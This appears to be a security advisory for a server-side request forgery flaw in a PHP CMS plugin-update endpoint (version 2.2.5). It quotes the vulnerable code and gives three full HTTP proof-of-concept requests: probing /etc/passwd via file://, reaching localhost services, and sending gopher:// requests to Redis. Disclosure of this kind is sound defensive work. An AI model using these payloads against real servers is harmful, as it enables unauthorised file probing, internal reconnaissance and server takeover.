Server-side request forgery (also known as SSRF) is a web security vulnerability that allows an attacker to induce the server-side application to make requests to an unintended location.
Impact version: 2.2.5
Test with PHP 7.2
The vulnerable code is located in the update
function of the app/admin/c/PluginsController.php
file, which fails to validate the download_url
parameter, causing a taint flow from the source $remote_url
variable into the sink function curl_init
, which, after the curl_exec
function is executed, a request is sent to the URL specified by the download_url parameter, which eventually leads to an SSRF vulnerability.
function update(){
$filepath = $this->frparam('filepath',1);
if(strpos($filepath,'.')!==false){
JsonReturn(array('code'=>1,'msg'=>'参数存在安全隐患!'));
}
if($filepath){
if($this->frparam('action',1)){
$action = $this->frparam('action',1);
// 自己获取这些信息
$remote_url = urldecode($this->frparam('download_url',1));
$remote_url = strpos($remote_url,'?')!==false ? $remote_url.'&version='.$this->webconf['web_version'] : $remote_url.'?version='.$this->webconf['web_version'];
$file_size = $this->frparam('filesize',1);
$tmp_path = Cache_Path."/update_".$filepath.".zip";//临时下载文件路径
switch ($action) {
case 'prepare-download':
$code = 0;
ob_start();
$ch=curl_init($remote_url);
curl_setopt($ch,CURLOPT_HEADER,1);
curl_setopt($ch,CURLOPT_NOBODY,1);
$okay=curl_exec($ch);
curl_close($ch);
$head=ob_get_contents();
ob_end_clean();
$regex='/Content-Length:\s([0-9].+?)\s/';
$count=preg_match($regex,$head,$matches);
$filesize = isset($matches[1])&&is_numeric($matches[1])?$matches[1]:0;
JsonReturn(array('code'=>0,'size'=>$filesize));
Since this interface returns the size of the read file, it can be used to detect whether a local file exists. The corresponding PoC is as follows:
POST /index.php/admins/Plugins/update.html HTTP/1.1
Host: 172.16.119.130
Content-Length: 72
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.119.130
Referer: http://172.16.119.130/index.php/admins/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=eb1cdd5882a1d84173f03d55; think_var=zh-cn
Connection: close
action=prepare-download&filepath=apidata&download_url=file:///etc/passwd
If the detected file does not exist, the parameter size value in the response body is 0.
Since the download_url
parameter is not restricted, it is also possible to use the server-side to send requests, for example, to probe the intranet web service. The corresponding PoC is as follows:
POST /index.php/admins/Plugins/update.html HTTP/1.1
Host: 172.16.119.130
Content-Length: 78
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.119.130
Referer: http://172.16.119.130/index.php/admins/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=eb1cdd5882a1d84173f03d55; think_var=zh-cn
Connection: close
action=prepare-download&filepath=apidata&download_url=http://localhost/poctest
In the apache server logs, we can see that the server-side application helped us send a request to the local 127.0.0.1 IP.
Because the curl function supports the gopher protocol, if the Redis service deploys in the intranet, it is possible to exploit the vulnerability associated with the Redis service to control the server. The corresponding PoC is as follows:
POST /index.php/admins/Plugins/update.html HTTP/1.1
Host: 172.16.119.130
Content-Length: 83
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://172.16.119.130
Referer: http://172.16.119.130/index.php/admins/Plugins/index.html
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=eb1cdd5882a1d84173f03d55; think_var=zh-cn
Connection: close
action=prepare-download&filepath=apidata&download_url=gopher://localhost:6379/_info
Fix recommendation: it is recommended to use regular expressions to restrict the input in order to prevent attackers from abusing the functionality there